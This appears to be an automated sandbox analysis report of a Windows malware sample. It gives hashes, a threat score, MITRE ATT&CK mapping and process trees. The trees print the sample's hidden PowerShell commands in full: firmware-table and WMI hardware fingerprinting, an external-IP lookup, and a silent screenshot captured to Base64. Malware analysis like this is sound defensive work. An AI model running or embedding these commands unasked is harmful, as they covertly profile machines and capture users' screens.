dd9015ff05b727d2a22587bd5662a38e01eb277d527ebcac252ea1515196bf56

Analysis

max time kernel
149s
max time network
124s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
17/05/2026, 12:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-05-17_526dc06454fc58b178ff6fa41cb0d511_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe
Size 112.0MB
Sample260517-pmp9lab13p
SHA256 dd9015ff05b727d2a22587bd5662a38e01eb277d527ebcac252ea1515196bf56
MD5 526dc06454fc58b178ff6fa41cb0d511
SHA1 0ee8ce3975d2ae02eec4ec925df1e79723e537d9
SHA512 647eac6d7915f907c9611287b6b29b5e787ce0cdc02904d164c35cb2688f65a9d43e0e720ab4830d41fdbbc6dac62bb0b6814be1e8bddd1fc4450bb9ad90a9f8
SSDEEP 1572864:eAXffHRdXmZF8CY8EpRIf2pjmom3H7S7u+VYVXqwb:T3iXtqwb
TLSH
T196486C43B2A75098E4BBC97582D65323E5337C8A1F3069EF15845B312F73AE09B39B25
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1632	powershell.exe
3900	powershell.exe
2816	powershell.exe
3708	powershell.exe
4708	powershell.exe
4808	powershell.exe
2940	powershell.exe
3140	powershell.exe
3952	powershell.exe
4960	powershell.exe
132	powershell.exe
1616	powershell.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	api.ipify.org
6	api.ipify.org

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
1632	powershell.exe
1632	powershell.exe
3900	powershell.exe
3900	powershell.exe
3140	powershell.exe
3140	powershell.exe
2816	powershell.exe
2816	powershell.exe
3708	powershell.exe
3708	powershell.exe
4708	powershell.exe
4708	powershell.exe
3952	powershell.exe
3952	powershell.exe
4808	powershell.exe
4808	powershell.exe
2940	powershell.exe
2940	powershell.exe
4960	powershell.exe
4960	powershell.exe
132	powershell.exe
132	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1632	powershell.exe
Token: SeDebugPrivilege	3900	powershell.exe
Token: SeIncreaseQuotaPrivilege	3900	powershell.exe
Token: SeSecurityPrivilege	3900	powershell.exe
Token: SeTakeOwnershipPrivilege	3900	powershell.exe
Token: SeLoadDriverPrivilege	3900	powershell.exe
Token: SeSystemProfilePrivilege	3900	powershell.exe
Token: SeSystemtimePrivilege	3900	powershell.exe
Token: SeProfSingleProcessPrivilege	3900	powershell.exe
Token: SeIncBasePriorityPrivilege	3900	powershell.exe
Token: SeCreatePagefilePrivilege	3900	powershell.exe
Token: SeBackupPrivilege	3900	powershell.exe
Token: SeRestorePrivilege	3900	powershell.exe
Token: SeShutdownPrivilege	3900	powershell.exe
Token: SeDebugPrivilege	3900	powershell.exe
Token: SeSystemEnvironmentPrivilege	3900	powershell.exe
Token: SeRemoteShutdownPrivilege	3900	powershell.exe
Token: SeUndockPrivilege	3900	powershell.exe
Token: SeManageVolumePrivilege	3900	powershell.exe
Token: 33	3900	powershell.exe
Token: 34	3900	powershell.exe
Token: 35	3900	powershell.exe
Token: 36	3900	powershell.exe
Token: SeDebugPrivilege	3140	powershell.exe
Token: SeIncreaseQuotaPrivilege	3140	powershell.exe
Token: SeSecurityPrivilege	3140	powershell.exe
Token: SeTakeOwnershipPrivilege	3140	powershell.exe
Token: SeLoadDriverPrivilege	3140	powershell.exe
Token: SeSystemProfilePrivilege	3140	powershell.exe
Token: SeSystemtimePrivilege	3140	powershell.exe
Token: SeProfSingleProcessPrivilege	3140	powershell.exe
Token: SeIncBasePriorityPrivilege	3140	powershell.exe
Token: SeCreatePagefilePrivilege	3140	powershell.exe
Token: SeBackupPrivilege	3140	powershell.exe
Token: SeRestorePrivilege	3140	powershell.exe
Token: SeShutdownPrivilege	3140	powershell.exe
Token: SeDebugPrivilege	3140	powershell.exe
Token: SeSystemEnvironmentPrivilege	3140	powershell.exe
Token: SeRemoteShutdownPrivilege	3140	powershell.exe
Token: SeUndockPrivilege	3140	powershell.exe
Token: SeManageVolumePrivilege	3140	powershell.exe
Token: 33	3140	powershell.exe
Token: 34	3140	powershell.exe
Token: 35	3140	powershell.exe
Token: 36	3140	powershell.exe
Token: SeDebugPrivilege	2816	powershell.exe
Token: SeIncreaseQuotaPrivilege	2816	powershell.exe
Token: SeSecurityPrivilege	2816	powershell.exe
Token: SeTakeOwnershipPrivilege	2816	powershell.exe
Token: SeLoadDriverPrivilege	2816	powershell.exe
Token: SeSystemProfilePrivilege	2816	powershell.exe
Token: SeSystemtimePrivilege	2816	powershell.exe
Token: SeProfSingleProcessPrivilege	2816	powershell.exe
Token: SeIncBasePriorityPrivilege	2816	powershell.exe
Token: SeCreatePagefilePrivilege	2816	powershell.exe
Token: SeBackupPrivilege	2816	powershell.exe
Token: SeRestorePrivilege	2816	powershell.exe
Token: SeShutdownPrivilege	2816	powershell.exe
Token: SeDebugPrivilege	2816	powershell.exe
Token: SeSystemEnvironmentPrivilege	2816	powershell.exe
Token: SeRemoteShutdownPrivilege	2816	powershell.exe
Token: SeUndockPrivilege	2816	powershell.exe
Token: SeManageVolumePrivilege	2816	powershell.exe
Token: 33	2816	powershell.exe

Suspicious use of WriteProcessMemory 29 IoCs

description	pid	Process	procid_target
PID 4800 wrote to memory of 1220	4800	2026-05-17_526dc06454fc58b178ff6fa41cb0d511_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	79
PID 1220 wrote to memory of 1616	1220	cmd.exe	81
PID 4800 wrote to memory of 4608	4800	2026-05-17_526dc06454fc58b178ff6fa41cb0d511_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	82
PID 4608 wrote to memory of 1632	4608	cmd.exe	84
PID 1632 wrote to memory of 3752	1632	powershell.exe	85
PID 4800 wrote to memory of 2832	4800	2026-05-17_526dc06454fc58b178ff6fa41cb0d511_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	86
PID 2832 wrote to memory of 3900	2832	cmd.exe	88
PID 4800 wrote to memory of 420	4800	2026-05-17_526dc06454fc58b178ff6fa41cb0d511_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	90
PID 420 wrote to memory of 3140	420	cmd.exe	92
PID 4800 wrote to memory of 3060	4800	2026-05-17_526dc06454fc58b178ff6fa41cb0d511_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	93
PID 3060 wrote to memory of 2816	3060	cmd.exe	95
PID 4800 wrote to memory of 3320	4800	2026-05-17_526dc06454fc58b178ff6fa41cb0d511_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	96
PID 3320 wrote to memory of 3708	3320	cmd.exe	98
PID 4800 wrote to memory of 4444	4800	2026-05-17_526dc06454fc58b178ff6fa41cb0d511_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	99
PID 4444 wrote to memory of 4708	4444	cmd.exe	101
PID 4800 wrote to memory of 4472	4800	2026-05-17_526dc06454fc58b178ff6fa41cb0d511_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	102
PID 4472 wrote to memory of 3952	4472	cmd.exe	104
PID 4800 wrote to memory of 952	4800	2026-05-17_526dc06454fc58b178ff6fa41cb0d511_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	105
PID 952 wrote to memory of 1084	952	cmd.exe	107
PID 4800 wrote to memory of 3428	4800	2026-05-17_526dc06454fc58b178ff6fa41cb0d511_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	108
PID 3428 wrote to memory of 2576	3428	cmd.exe	110
PID 4800 wrote to memory of 4448	4800	2026-05-17_526dc06454fc58b178ff6fa41cb0d511_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	111
PID 4448 wrote to memory of 4808	4448	cmd.exe	113
PID 4800 wrote to memory of 1888	4800	2026-05-17_526dc06454fc58b178ff6fa41cb0d511_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	114
PID 1888 wrote to memory of 2940	1888	cmd.exe	116
PID 4800 wrote to memory of 4320	4800	2026-05-17_526dc06454fc58b178ff6fa41cb0d511_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	117
PID 4320 wrote to memory of 4960	4320	cmd.exe	119
PID 4800 wrote to memory of 3700	4800	2026-05-17_526dc06454fc58b178ff6fa41cb0d511_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	120
PID 3700 wrote to memory of 132	3700	cmd.exe	122

C:\Users\Admin\AppData\Local\Temp\2026-05-17_526dc06454fc58b178ff6fa41cb0d511_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe
"C:\Users\Admin\AppData\Local\Temp\2026-05-17_526dc06454fc58b178ff6fa41cb0d511_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4800
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-Type -MemberDefinition '[DllImport(\\"kernel32.dll\\",SetLastError=true)]public static extern uint GetSystemFirmwareTable(uint sig,uint id,IntPtr buf,uint sz);public static string R(){uint n=GetSystemFirmwareTable(0x52534D42,0,IntPtr.Zero,0);if(n==0)return\\"\\";IntPtr b=Marshal.AllocHGlobal((int)n);GetSystemFirmwareTable(0x52534D42,0,b,n);byte[] d=new byte[(int)System.Math.Min(n,8192u)];Marshal.Copy(b,d,0,d.Length);Marshal.FreeHGlobal(b);var s=new System.Text.StringBuilder();var c=new System.Text.StringBuilder();foreach(byte x in d){if(x>=0x20&&x<0x7F)c.Append((char)x);else{if(c.Length>=4){s.Append(c);s.Append(\\"|\\");}c.Clear();}}return s.ToString();}' -Name R1 -Namespace HW -Using System.Runtime.InteropServices; [HW.R1]::R()""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1220
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-Type -MemberDefinition '[DllImport(\\"kernel32.dll\\",SetLastError=true)]public static extern uint GetSystemFirmwareTable(uint sig,uint id,IntPtr buf,uint sz);public static string R(){uint n=GetSystemFirmwareTable(0x52534D42,0,IntPtr.Zero,0);if(n==0)return\\"\\";IntPtr b=Marshal.AllocHGlobal((int)n);GetSystemFirmwareTable(0x52534D42,0,b,n);byte[] d=new byte[(int)System.Math.Min(n,8192u)];Marshal.Copy(b,d,0,d.Length);Marshal.FreeHGlobal(b);var s=new System.Text.StringBuilder();var c=new System.Text.StringBuilder();foreach(byte x in d){if(x>=0x20&&x<0x7F)c.Append((char)x);else{if(c.Length>=4){s.Append(c);s.Append(\\"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1616
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-Type -MemberDefinition '[DllImport(\\"kernel32.dll\\",SetLastError=true)]public static extern uint EnumSystemFirmwareTables(uint sig,IntPtr buf,uint sz);public static string L(){uint n=EnumSystemFirmwareTables(0x41435049,IntPtr.Zero,0);if(n==0)return\\"\\";IntPtr b=Marshal.AllocHGlobal((int)n);EnumSystemFirmwareTables(0x41435049,b,n);var r=new System.Text.StringBuilder();for(int i=0;i<(int)(n/4);i++){byte[] s=new byte[4];Marshal.Copy(b+i*4,s,0,4);r.Append(System.Text.Encoding.ASCII.GetString(s));r.Append(\\",\\");}Marshal.FreeHGlobal(b);return r.ToString();}' -Name R2 -Namespace HW2 -Using System.Runtime.InteropServices; [HW2.R2]::L()""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4608
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-Type -MemberDefinition '[DllImport(\\"kernel32.dll\\",SetLastError=true)]public static extern uint EnumSystemFirmwareTables(uint sig,IntPtr buf,uint sz);public static string L(){uint n=EnumSystemFirmwareTables(0x41435049,IntPtr.Zero,0);if(n==0)return\\"\\";IntPtr b=Marshal.AllocHGlobal((int)n);EnumSystemFirmwareTables(0x41435049,b,n);var r=new System.Text.StringBuilder();for(int i=0;i<(int)(n/4);i++){byte[] s=new byte[4];Marshal.Copy(b+i*4,s,0,4);r.Append(System.Text.Encoding.ASCII.GetString(s));r.Append(\\",\\");}Marshal.FreeHGlobal(b);return r.ToString();}' -Name R2 -Namespace HW2 -Using System.Runtime.InteropServices; [HW2.R2]::L()"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1632
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\0cfvkofa\0cfvkofa.cmdline"
      4⤵
      PID:3752
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object Model | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2832
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object Model | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3900
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_BIOS | Select-Object Manufacturer | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:420
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_BIOS | Select-Object Manufacturer | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3140
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_ComputerSystem | Select-Object Manufacturer | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3060
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_ComputerSystem | Select-Object Manufacturer | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2816
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_PhysicalMemory | Select-Object Manufacturer,Speed | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3320
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_PhysicalMemory | Select-Object Manufacturer,Speed | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3708
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_SoundDevice | Select-Object Name | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4444
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_SoundDevice | Select-Object Name | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4708
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_BaseBoard | Select-Object Manufacturer,Product | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4472
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_BaseBoard | Select-Object Manufacturer,Product | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3952
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get Manufacturer /format:list"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:952
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic baseboard get Manufacturer /format:list
    3⤵
    PID:1084
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get Product /format:list"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3428
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic baseboard get Product /format:list
    3⤵
    PID:2576
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object PNPDeviceID | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4448
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object PNPDeviceID | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4808
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_PnPEntity | Select-Object Name | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1888
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_PnPEntity | Select-Object Name | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2940
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object Size | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4320
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object Size | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4960
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing;$b=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds;$bmp=New-Object Drawing.Bitmap($b.Width,$b.Height);$g=[Drawing.Graphics]::FromImage($bmp);$g.CopyFromScreen($b.Location,[Drawing.Point]::Empty,$b.Size);$ms=New-Object IO.MemoryStream;$bmp.Save($ms,[Drawing.Imaging.ImageFormat]::Jpeg);[Convert]::ToBase64String($ms.ToArray())""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3700
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing;$b=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds;$bmp=New-Object Drawing.Bitmap($b.Width,$b.Height);$g=[Drawing.Graphics]::FromImage($bmp);$g.CopyFromScreen($b.Location,[Drawing.Point]::Empty,$b.Size);$ms=New-Object IO.MemoryStream;$bmp.Save($ms,[Drawing.Imaging.ImageFormat]::Jpeg);[Convert]::ToBase64String($ms.ToArray())"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:132

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...